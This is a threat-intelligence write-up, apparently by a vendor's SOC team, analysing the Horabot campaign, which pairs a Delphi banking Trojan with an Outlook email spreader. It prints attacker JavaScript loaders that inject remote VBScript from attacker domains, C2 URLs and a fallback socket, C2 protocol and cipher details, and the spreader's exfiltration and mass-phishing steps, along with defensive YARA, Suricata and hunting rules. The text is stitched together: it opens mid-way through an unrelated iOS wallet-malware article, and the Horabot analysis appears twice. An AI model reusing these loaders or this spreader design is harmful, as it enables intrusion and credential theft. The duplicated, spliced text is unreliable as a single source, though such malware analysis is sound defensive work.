Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
